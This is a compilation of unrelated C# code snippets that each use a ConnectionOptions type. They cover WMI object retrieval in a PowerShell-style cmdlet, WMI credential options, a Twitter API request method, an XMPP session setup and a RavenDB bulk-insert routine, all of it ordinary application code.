/// <summary> /// Gets the properties of an item at the specified path /// </summary> protected override void BeginProcessing() { ConnectionOptions options = GetConnectionOption(); if (this.AsJob) { RunAsJob("Get-WMIObject"); return; } else { if (List.IsPresent) { if (!this.ValidateClassFormat()) { ErrorRecord errorRecord = new ErrorRecord( new ArgumentException( String.Format( Thread.CurrentThread.CurrentCulture, "Class", this.Class)), "INVALID_QUERY_IDENTIFIER", ErrorCategory.InvalidArgument, null); errorRecord.ErrorDetails = new ErrorDetails(this, "WmiResources", "WmiFilterInvalidClass", this.Class); WriteError(errorRecord); return; } foreach (string name in ComputerName) { if (this.Recurse.IsPresent) { Queue namespaceElement = new Queue(); namespaceElement.Enqueue(this.Namespace); while (namespaceElement.Count > 0) { string connectNamespace = (string)namespaceElement.Dequeue(); ManagementScope scope = new ManagementScope(WMIHelper.GetScopeString(name, connectNamespace), options); try { scope.Connect(); } catch (ManagementException e) { ErrorRecord errorRecord = new ErrorRecord( e, "INVALID_NAMESPACE_IDENTIFIER", ErrorCategory.ObjectNotFound, null); errorRecord.ErrorDetails = new ErrorDetails(this, "WmiResources", "WmiNamespaceConnect", connectNamespace, e.Message); WriteError(errorRecord); continue; } catch (System.Runtime.InteropServices.COMException e) { ErrorRecord errorRecord = new ErrorRecord( e, "INVALID_NAMESPACE_IDENTIFIER", ErrorCategory.ObjectNotFound, null); errorRecord.ErrorDetails = new ErrorDetails(this, "WmiResources", "WmiNamespaceConnect", connectNamespace, e.Message); WriteError(errorRecord); continue; } catch (System.UnauthorizedAccessException e) { ErrorRecord errorRecord = new ErrorRecord( e, "INVALID_NAMESPACE_IDENTIFIER", ErrorCategory.ObjectNotFound, null); errorRecord.ErrorDetails = new ErrorDetails(this, "WmiResources", "WmiNamespaceConnect", connectNamespace, e.Message); WriteError(errorRecord); continue; } ManagementClass namespaceClass = new ManagementClass(scope, new ManagementPath("__Namespace"), new ObjectGetOptions()); foreach (ManagementBaseObject obj in namespaceClass.GetInstances()) { if (!IsLocalizedNamespace((string)obj["Name"])) { namespaceElement.Enqueue(connectNamespace + "\\" + obj["Name"]); } } ManagementObjectSearcher searcher = this.GetObjectList(scope); if (searcher == null) { continue; } foreach (ManagementBaseObject obj in searcher.Get()) { WriteObject(obj); } } } else { ManagementScope scope = new ManagementScope(WMIHelper.GetScopeString(name, this.Namespace), options); try { scope.Connect(); } catch (ManagementException e) { ErrorRecord errorRecord = new ErrorRecord( e, "INVALID_NAMESPACE_IDENTIFIER", ErrorCategory.ObjectNotFound, null); errorRecord.ErrorDetails = new ErrorDetails(this, "WmiResources", "WmiNamespaceConnect", this.Namespace, e.Message); WriteError(errorRecord); continue; } catch (System.Runtime.InteropServices.COMException e) { ErrorRecord errorRecord = new ErrorRecord( e, "INVALID_NAMESPACE_IDENTIFIER", ErrorCategory.ObjectNotFound, null); errorRecord.ErrorDetails = new ErrorDetails(this, "WmiResources", "WmiNamespaceConnect", this.Namespace, e.Message); WriteError(errorRecord); continue; } catch (System.UnauthorizedAccessException e) { ErrorRecord errorRecord = new ErrorRecord( e, "INVALID_NAMESPACE_IDENTIFIER", ErrorCategory.ObjectNotFound, null); errorRecord.ErrorDetails = new ErrorDetails(this, "WmiResources", "WmiNamespaceConnect", this.Namespace, e.Message); WriteError(errorRecord); continue; } ManagementObjectSearcher searcher = this.GetObjectList(scope); if (searcher == null) { continue; } foreach (ManagementBaseObject obj in searcher.Get()) { WriteObject(obj); } } } return; } // When -List is not specified and -Recurse is specified, we need the -Class parameter to compose the right query string if (this.Recurse.IsPresent && string.IsNullOrEmpty(Class)) { string errormMsg = string.Format(CultureInfo.InvariantCulture, WmiResources.WmiParameterMissing, "-Class"); ErrorRecord er = new ErrorRecord(new InvalidOperationException(errormMsg), "InvalidOperationException", ErrorCategory.InvalidOperation, null); WriteError(er); return; } string queryString = string.IsNullOrEmpty(this.Query) ? GetQueryString() : this.Query; ObjectQuery query = new ObjectQuery(queryString.ToString()); foreach (string name in ComputerName) { try { ManagementScope scope = new ManagementScope(WMIHelper.GetScopeString(name, this.Namespace), options); EnumerationOptions enumOptions = new EnumerationOptions(); enumOptions.UseAmendedQualifiers = Amended; enumOptions.DirectRead = DirectRead; ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query, enumOptions); foreach (ManagementBaseObject obj in searcher.Get()) { WriteObject(obj); } } catch (ManagementException e) { ErrorRecord errorRecord = null; if (e.ErrorCode.Equals(ManagementStatus.InvalidClass)) { string className = GetClassNameFromQuery(queryString); string errorMsg = String.Format(CultureInfo.InvariantCulture, WmiResources.WmiQueryFailure, e.Message, className); errorRecord = new ErrorRecord(new ManagementException(errorMsg), "GetWMIManagementException", ErrorCategory.InvalidType, null); } else if (e.ErrorCode.Equals(ManagementStatus.InvalidQuery)) { string errorMsg = String.Format(CultureInfo.InvariantCulture, WmiResources.WmiQueryFailure, e.Message, queryString); errorRecord = new ErrorRecord(new ManagementException(errorMsg), "GetWMIManagementException", ErrorCategory.InvalidArgument, null); } else if (e.ErrorCode.Equals(ManagementStatus.InvalidNamespace)) { string errorMsg = String.Format(CultureInfo.InvariantCulture, WmiResources.WmiQueryFailure, e.Message, this.Namespace); errorRecord = new ErrorRecord(new ManagementException(errorMsg), "GetWMIManagementException", ErrorCategory.InvalidArgument, null); } else { errorRecord = new ErrorRecord(e, "GetWMIManagementException", ErrorCategory.InvalidOperation, null); } WriteError(errorRecord); continue; } catch (System.Runtime.InteropServices.COMException e) { ErrorRecord errorRecord = new ErrorRecord(e, "GetWMICOMException", ErrorCategory.InvalidOperation, null); WriteError(errorRecord); continue; } } // foreach computerName } } // BeginProcessing
/// <summary> /// Get the Connection Options /// </summary> /// <param name="Authentication"></param> /// <param name="Impersonation"></param> /// <param name="Credential"></param> /// <returns></returns> internal static ConnectionOptions GetConnectionOptions(AuthenticationLevel Authentication, ImpersonationLevel Impersonation, PSCredential Credential) { ConnectionOptions options = new ConnectionOptions(); options.Authentication = Authentication; options.EnablePrivileges = true; options.Impersonation = Impersonation; if (Credential != null) { options.Username = Credential.UserName; options.SecurePassword = Credential.Password; } return options; }
private HttpWebResponse SendRequestImpl(MethodType type, string url, IEnumerable <KeyValuePair <string, object> > parameters, ConnectionOptions options) { try { var prmArray = FormatParameters(parameters); var uri = CreateUri(type, url, prmArray); if (type != MethodType.Get && ContainsBinaryData(prmArray)) { return(Request.HttpPostWithMultipartFormData(uri, prmArray, CreateAuthorizationHeader(type, uri, null), options)); } return(type == MethodType.Get ? Request.HttpGet(uri, CreateAuthorizationHeader(type, uri, null), options) : Request.HttpPost(uri, prmArray, CreateAuthorizationHeader(type, uri, prmArray), options)); } catch (WebException ex) { var tex = TwitterException.Create(ex); if (tex != null) { throw tex; } throw; } }
//Initializes the SessionManager. //This creates a connection to the server and calls open stream. private void InitializeSessionManager() { ConnectionOptions options = new ConnectionOptions(ServerNameTextBox.Text, 5222); options.StreamCulture = ((LanguageItem) Language.SelectedItem).Culture; Session s = new Session(options); s.OpenStreamSynchronous(); _SessionManager = new SessionManager(s, this); this.BringToFront(); }
private async Task StartBulkInsertAsync(BulkInsertOptions options) { using (ConnectionOptions.Expect100Continue(operationClient.Url)) { var operationUrl = CreateOperationUrl(options); string token; try { token = await GetToken().ConfigureAwait(false); } catch (Exception e) { queue.CompleteAdding(); throw new InvalidOperationException("Could not get token for bulk insert", e); } try { token = await ValidateThatWeCanUseAuthenticateTokens(token).ConfigureAwait(false); } catch (Exception e) { queue.CompleteAdding(); throw new InvalidOperationException("Could not authenticate token for bulk insert, if you are using ravendb in IIS make sure you have Anonymous Authentication enabled in the IIS configuration", e); } using (operationRequest = CreateOperationRequest(operationUrl, token)) { var cancellationToken = CreateCancellationToken(); response = await operationRequest.ExecuteRawRequestAsync((stream, source) => Task.Factory.StartNew(() => { try { WriteQueueToServer(stream, options, cancellationToken); source.TrySetResult(null); } catch (Exception e) { //we get a cancellation only if we receive a notification of BulkInsertError //in that case we need to get the real error from the server using response.AssertNotFailingResponse() if (cancellationToken.IsCancellationRequested) { source.TrySetResult(null); } else { source.TrySetException(e); } } finally { queue.CompleteAdding(); } }, TaskCreationOptions.LongRunning)).ConfigureAwait(false); await response.AssertNotFailingResponse(); long operationId; using (response) using (var stream = await response.Content.ReadAsStreamAsync().ConfigureAwait(false)) using (var streamReader = new StreamReader(stream)) { var result = RavenJObject.Load(new JsonTextReader(streamReader)); operationId = result.Value <long>("OperationId"); } if (await IsOperationCompleted(operationId).ConfigureAwait(false)) { responseOperationId = operationId; } } } }